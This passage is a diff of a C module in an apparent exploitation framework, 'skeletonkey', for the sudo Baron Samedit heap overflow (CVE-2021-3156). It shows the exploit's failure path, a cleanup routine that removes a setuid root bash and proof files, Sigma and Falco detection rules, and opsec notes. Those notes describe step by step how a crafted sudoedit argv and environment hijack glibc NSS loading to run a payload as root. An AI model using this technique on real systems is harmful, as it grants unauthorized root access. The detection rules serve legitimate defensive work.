WEXITSTATUS(status));
}
}
/* Best-effort free. */
free(argv[2]);
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
if (!ctx->json)
fprintf(stderr, "[-] sudo_samedit: no root artifact after primary + sweep — "
"honest EXPLOIT_FAIL. Host is likely backport-patched, or the "
"libc heap layout needs lengths outside the swept range "
"(see blasty brute.sh for a wider search).\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
@@ -413,15 +450,15 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c
static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
/* sudoedit creates "~/.sudo_edit_*" temp files on the way through.
* Best-effort unlink of any obvious crumbs left by our trigger. */
if (!ctx->json) {
fprintf(stderr, "[*] sudo_samedit: removing /tmp/skeletonkey-samedit-* crumbs\n");
}
if (system("rm -rf /tmp/skeletonkey-samedit-* /tmp/.sudo_edit_* 2>/dev/null") != 0) {
/* harmless — likely no files matched */
if (!ctx->json)
fprintf(stderr, "[*] sudo_samedit: removing artifacts + scratch dir\n");
if (samedit_proof[0]) unlink(samedit_proof);
if (samedit_rootbash[0]) unlink(samedit_rootbash);
if (samedit_workdir[0]) {
char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", samedit_workdir);
if (system(rm) != 0) { /* ignore */ }
}
if (system("rm -rf /tmp/.sudo_edit_* 2>/dev/null") != 0) { /* ignore */ }
return SKELETONKEY_OK;
}
@@ -446,7 +483,8 @@ static const char sudo_samedit_sigma[] =
" Detects sudoedit (or sudo invoked as sudoedit) executed with the\n"
" -s flag and a command-line argument ending in a lone backslash —\n"
" the canonical Qualys trigger for the heap overflow in\n"
" plugins/sudoers/sudoers.c set_cmnd().\n"
" plugins/sudoers/sudoers.c set_cmnd(). A libnss_X/ directory in the\n"
" caller's CWD is a strong corroborating artifact.\n"
"logsource:\n"
" product: linux\n"
" service: auditd\n"
@@ -472,14 +510,12 @@ static const char sudo_samedit_sigma[] =
" - attack.t1068\n"
" - cve.2021.3156\n";
/* ---- Module registration ----------------------------------------- */
static const char sudo_samedit_falco[] =
"- rule: sudoedit with -s and trailing-backslash argv (Baron Samedit)\n"
" desc: |\n"
" sudoedit invoked with -s and one or more args ending in '\\'.\n"
" The parser's unescape loop walks past the argv string into\n"
" adjacent stack/env, overflowing the heap buffer.\n"
" adjacent env, overflowing the heap buffer.\n"
" CVE-2021-3156. False positives: extraordinarily rare;\n"
" legitimate sudoedit usage does not need trailing backslashes.\n"
" condition: >\n"
@@ -491,10 +527,12 @@ static const char sudo_samedit_falco[] =
" priority: CRITICAL\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2021.3156]\n";
/* ---- Module registration ----------------------------------------- */
const struct skeletonkey_module sudo_samedit_module = {
.name = "sudo_samedit",
.cve = "CVE-2021-3156",
.summary = "sudo Baron Samedit heap overflow via sudoedit -s '\\\\' (Qualys)",
.summary = "sudo Baron Samedit heap overflow via sudoedit -s → NSS libnss_X hijack → root (blasty)",
.family = "sudo",
.kernel_range = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)",
.detect = sudo_samedit_detect,
@@ -505,7 +543,7 @@ const struct skeletonkey_module sudo_samedit_module = {
.detect_sigma = sudo_samedit_sigma,
.detect_yara = NULL,
.detect_falco = sudo_samedit_falco,
.opsec_notes = "Invokes sudoedit with argv = { 'sudoedit', '-s', trailing-backslash, then ~60 padding args each ending in backslash }; the parser's unescape loop in set_cmnd() walks past the end of the argv string for the trailing-backslash argument, copying adjacent stack/env into an undersized heap buffer. Audit-visible via execve(/usr/bin/sudoedit) with -s and a trailing-backslash argv. No persistent file artifacts (only best-effort removal of /tmp/.sudo_edit_*). No network. Dmesg silent unless sudo crashes (SIGSEGV). Per-distro heap layout determines landing; verifies geteuid()==0 afterward.",
.opsec_notes = "Compiles a small NSS payload on the target (needs cc/gcc), then execs sudoedit with argv = { 'sudoedit','-s','AAAA…\\','\\','BBBB…\\' } and an env of N backslashes + 'X/P0P_SH3LLZ_' + a padded LC_ALL, from a CWD holding libnss_X/'P0P_SH3LLZ_ .so.2'. The set_cmnd() unescape overflow overwrites a glibc NSS service_user so the subsequent lookup dlopen's the payload, whose constructor runs while sudo is root. Very audit-visible: execve(sudoedit) with -s + trailing-backslash argv, an unusual all-backslash environ, and a libnss_X/ dir in CWD. Grooming lengths are libc-family specific; a miss sweeps null_stomp_len. Artifacts: root-owned proof + setuid bash under /tmp (removed by cleanup()); scratch build dir is scrubbed during the run. Misses may SIGSEGV sudo (dmesg).",
.arch_support = "any",
};